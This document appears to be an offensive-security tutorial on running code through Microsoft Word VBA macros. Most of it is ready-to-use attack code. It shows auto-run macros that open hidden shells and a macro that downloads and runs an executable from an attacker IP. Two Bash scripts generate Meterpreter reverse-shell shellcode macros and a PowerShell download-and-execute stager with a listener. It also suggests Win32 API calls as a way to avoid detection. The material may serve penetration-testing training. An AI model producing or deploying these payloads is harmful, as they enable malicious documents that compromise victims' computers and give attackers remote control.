Gaining VBA script execution

Visual Basic for Applications (VBA) is a scripting language available for use in Microsoft Office applications like Microsoft Word and Microsoft Excel. Over the years, plenty of mitigations have been implemented to prevent client-side code execution attacks using VBA in these products. Before we talk about that, let’s talk about how scripts can be executed when Office documents are opened.

Document_Open

The Document_Open subroutine is a subroutine that is executed for eligible VBA scripts stored within an Office document when the Document.Open event occurs. Some examples and detail on this subroutine are provided here.

Auto macros

There are various auto macros that can be used to gain code execution of eligible VBA scripts during different events like starting Microsoft Word, opening a document, etc. In these docs, you’ll primarily see the use of AutoOpen - an auto macro and subroutine that is executed for eligible VBA scripts stored within an Office document.

Mitigations

File formats

Presently, only some file formats support the execution of macros defined by VBA scripts - .doc and .docm. The latest .docx does not support macro execution - stricter security features. You can find more info on Microsoft Word supported file formats here.

Mark of the Web

Mark of the Web (MoTW) is a metadata, boolean identifier used by Windows to mark files downloaded from the internet. This mark is used by products like Microsoft Office and Excel to warn users that a file was downloaded from the internet, and that caution should be exercised when enabling certain features.

To gain macro code execution on an Office document payload, an attacker would have to hope that a victim would go out of their way to disable these mitigations and security features to enable the execution of their macro payload.

NOTE: Interestingly enough, I’ve used Invoke-WebRequest to download payloads from an attacker host - MoTW was not set on the resulting downloaded file.

Useful functions

Shell

The Shell function does what you probably think it does, executes a shell command. Provide a pathname and a windowstyle (usually 0 for hidden) to execute the program located at pathname. More details here. Here’s an example of executing cmd.exe in a hidden window:

Sub Document_Open()
    MyMacro
End Sub
 
Sub AutoOpen()
    MyMacro
End Sub
 
Sub MyMacro()
    Dim str As String
    str = "cmd.exe"
    Shell str, vbHide
End Sub

Windows Scripting Host

A more powerful primitive for code execution is to use the Windows Scripting Host (WSH). This enables us to define an entire script for execution - rather than just executing a single program. Details and examples on how to create and run a WSH object can be found here. Here’s an example of executing cmd.exe in a hidden window:

Sub Document_Open()
    MyMacro
End Sub
 
Sub AutoOpen()
    MyMacro
End Sub
 
Sub MyMacro()
    Dim str As String
    str = "cmd.exe"
    CreateObject("Wscript.Shell").Run str, 0
End Sub

Executing PowerShell

We can also use VBA scripts to execute PowerShell to download payloads from a stager. Here’s an example using System.Net.WebClient to download and execute a file after gaining macro execution in a Word document:

Sub Document_Open()
    MyMacro
End Sub
 
Sub AutoOpen()
    MyMacro
End Sub
 
Sub MyMacro()
    Dim str As String
    str = "powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.119.120/msfstaged.exe', 'msfstaged.exe')"
    Shell str, vbHide
    Dim exePath As String
    exePath = ActiveDocument.Path & "\" & "msfstaged.exe"
    Wait (2)
    Shell exePath, vbHide
 
End Sub
 
Sub Wait(n As Long)
    Dim t As Date
    t = Now
    Do
        DoEvents
    Loop Until Now >= DateAdd("s", n, t)
End Sub

We can also use other PowerShell methods available like Invoke-WebRequest.

Calling Win32API

We can import .dlls that implement Win32API functions directly from VBA and execute them within macros. This enables us to execute unmanaged code within the macro - a great way to bypass detection of funky cmd.exe and powershell.exe command execution.

The example provided below shows how to import the GetUserNameA Win32API function from advapi32.dll in a macro. We use the Private Declare keywords to declare a private function. We use the PtrSafe keyword for 64-bit targets. String variables are already handled as pointer values in VBA, so we can pass these by value to the GetUserNameA function.

'Win32API GetUserNameA function definition
'BOOL GetUserNameA(
'  LPSTR   lpBuffer,
'  LPDWORD pcbBuffer
');
 
'Declare the function using advapi32.dll
Private Declare PtrSafe Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, ByRef nSize As Long) As Long
 
Function MyMacro()
  Dim res As Long
  Dim MyBuff As String * 256
  Dim MySize As Long
  Dim strlen As Long
  MySize = 256
 
  res = GetUserName(MyBuff, MySize)
  strlen = InStr(1, MyBuff, vbNullChar) - 1
  MsgBox Left$(MyBuff, strlen)
End Function

In the above macro, we use the InStr function to find the first NULL byte, which will be at the end of the buffer, MyBuff, containing the username retrieved from the GetUserNameA call. Subtracting 1 from that value will provide us with the true length of the username.

Using the Left method, we provide the strlen parameter to create a substring, essentially conducting a MyBuff[:strlen] operation to only print the contents of MyBuff up to strlen.

Executing shellcode

The following Bash script generates a VBA macro payload that embeds shellcode for a msfvenom windows/x64/meterpreter/reverse_https payload. The VBA macro will execute the provided shellcode by calling VirtualAlloc, RtlMoveMemory, and CreateThread from kernel32.dll. The shellcode buffer gets copied, byte by byte, into the new memory segment in the current process. After successfully movement of the shellcode, CreateThread is execute to gain code execution. Understanding the parameters passed to each Win32API call is an exercise left for the reader.

#!/bin/bash
 
set -ex -o pipefail
 
MSFPAYLOAD="windows/x64/meterpreter/reverse_https"
MSFCONSOLE=$(which msfconsole)
MSFVENOM=$(which msfvenom)
 
 
msfvenom() {
    PAYLOAD=$($MSFVENOM \
		-p $MSFPAYLOAD \
		LHOST=$LHOST \
		LPORT=$LPORT \
		EXITFUNC=thread \
        -f vbapplication 2>/dev/null)
}
 
 
generate_payload() {
    tee payload.vba << EOF
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
 
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
 
Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
 
Function MyMacro()
    Dim buf As Variant
    Dim addr As LongPtr
    Dim counter As Long
    Dim data As Long
    Dim res As LongPtr
 
	$PAYLOAD
 
    addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
 
    For counter = LBound(buf) To UBound(buf)
        data = buf(counter)
        res = RtlMoveMemory(addr + counter, data, 1)
    Next counter
 
    res = CreateThread(0, 0, addr, 0, 0, 0)
End Function
 
Sub Document_Open()
    MyMacro
End Sub
 
Sub AutoOpen()
    MyMacro
End Sub
EOF
}
 
listen() {
    $MSFCONSOLE \
        -q \
        -x "use multi/handler; \
            set payload $MSFPAYLOAD; \
            set LHOST $LHOST; \
            set LPORT $LPORT; \
            exploit"
}
 
 
LHOST=$1
LPORT=$2
 
msfvenom
generate_payload
listen

After successful execution of the generated macro payload in a Word document, the msfconsole listener process will receive a reverse callback from the victim, upload the stager payload, and establish a meterpreter session with the victim host.

Staging PowerShell shellcode payloads

In Executing Win32 APIs in PowerShell - Executing shellcode in PowerShell, we demonstrate how to execute Meterpreter payloads in PowerShell, using P/Invoke and C# to import and directly call Win32 APIs.

Now that we have these payloads, we can use VBA macros as stagers to retrieve and deliver these PowerShell shellcode payloads. The example script provided below does the following:

  • Generates a desired Meterpreter payload
  • Generates a PowerShell payload designed to execute shellcode in memory using P/Invoke and C#
  • Generates a VBA macro payload that conducts a web request to download and execute the PowerShell payload generated in the previous step
  • Creates an HTTP stager on the attacker host
  • Creates an msfconsolestager to listen and deliver the next stage payload once the PowerShell payload executes
#!/bin/bash
 
set -ex -o pipefail
 
MSFPAYLOAD="windows/x64/meterpreter/reverse_https"
MSFCONSOLE=$(which msfconsole)
MSFVENOM=$(which msfvenom)
PYTHON=$(which python3)
SPORT=8443
 
 
msfvenom() {
    PAYLOAD=$($MSFVENOM \
        -p $MSFPAYLOAD \
        LHOST=$LHOST \
        LPORT=$LPORT \
        EXITFUNC=thread \
        -f ps1 2>/dev/null)
}
 
 
generate_powershell() {
    tee payload.ps1 << EOF
\$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
 
public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    [DllImport("kernel32", CharSet=CharSet.Ansi)]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
}
"@
 
Add-Type \$Kernel32
 
$PAYLOAD
 
\$size = \$buf.Length
 
[IntPtr]\$addr = [Kernel32]::VirtualAlloc(0, \$size, 0x3000, 0x40)
 
[System.Runtime.InteropServices.Marshal]::Copy(\$buf, 0, \$addr, \$size)
 
\$thandle=[Kernel32]::CreateThread(0, 0, \$addr, 0, 0, 0)
 
[Kernel32]::WaitForSingleObject(\$thandle, [uint32]"0xFFFFFFFF")
EOF
}
 
generate_macro() {
    tee stager.vba << EOF
Sub MyMacro()
    Dim str As String
    str = "powershell (New-Object System.Net.WebClient).DownloadString('http://$LHOST:$SPORT/payload.ps1') | Invoke-Expression"
    Shell str, vbHide
End Sub
 
Sub Document_Open()
    MyMacro
End Sub
 
Sub AutoOpen()
    MyMacro
End Sub
EOF
}
 
stage() {
    $PYTHON -m http.server $SPORT &
}
 
listen() {
    $MSFCONSOLE \
        -q \
        -x "use multi/handler; \
            set payload $MSFPAYLOAD; \
            set LHOST $LHOST; \
            set LPORT $LPORT; \
            exploit"
}
 
 
LHOST=$1
LPORT=$2
 
msfvenom
generate_powershell
generate_macro
stage
listen